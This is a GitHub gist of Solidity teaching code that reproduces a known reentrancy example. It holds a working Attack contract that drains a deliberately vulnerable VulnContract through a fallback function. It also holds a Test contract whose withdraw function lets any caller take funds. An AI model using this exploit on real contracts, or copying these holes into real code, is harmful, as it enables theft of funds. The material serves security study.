Skip to content

Instantly share code, notes, and snippets.

@h1994st
Last active March 13, 2020 19:37
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save h1994st/82429fcef25a506f5af61484859796e7 to your computer and use it in GitHub Desktop.
Save h1994st/82429fcef25a506f5af61484859796e7 to your computer and use it in GitHub Desktop.
Solidity Basics
pragma solidity ^0.6.1;
import "VulnContract.sol";
/**
* Reference: https://blog.sigmaprime.io/solidity-security.html#reentrancy
*/
contract Attack {
VulnContract public vulnContract;
constructor(address _etherStoreAddress) public {
vulnContract = VulnContract(_etherStoreAddress);
}
function collectEther() public {
msg.sender.transfer(address(this).balance);
}
function pwn() public payable {
// attack to the nearest ether
require(msg.value >= 1 ether);
// send eth to the depositFunds() function
vulnContract.depositFunds.value(1 ether)();
// start the magic
vulnContract.withdrawFunds(1 ether);
}
// fallback function - where the magic happens
fallback() external payable {
if (address(vulnContract).balance > 1 ether) {
vulnContract.withdrawFunds(1 ether);
}
}
}
pragma solidity ^0.6.1;
contract Test {
function add(uint a, uint b) public pure returns (uint) {
return a + b;
}
/**
* 1 Kwei (babbage) = 1e3 wei
* 1 Mwei (lovelace) = 1e6 wei
* 1 Gwei (shannon) = 1e9 wei
* 1 microether (szabo) == 1e12 wei
* 1 milliether (finney) == 1e15 wei
* 1 ether == 1e18 wei
*/
function addFund() public payable returns (uint) {
return address(this).balance;
}
function withdraw(uint amount) public returns (uint) {
msg.sender.transfer(amount * 1 ether);
return address(this).balance;
}
}
pragma solidity ^0.6.1;
/**
* Reference: https://blog.sigmaprime.io/solidity-security.html#reentrancy
*/
contract VulnContract {
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(_weiToWithdraw <= withdrawalLimit);
// limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
msg.sender.call.value(_weiToWithdraw)("");
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment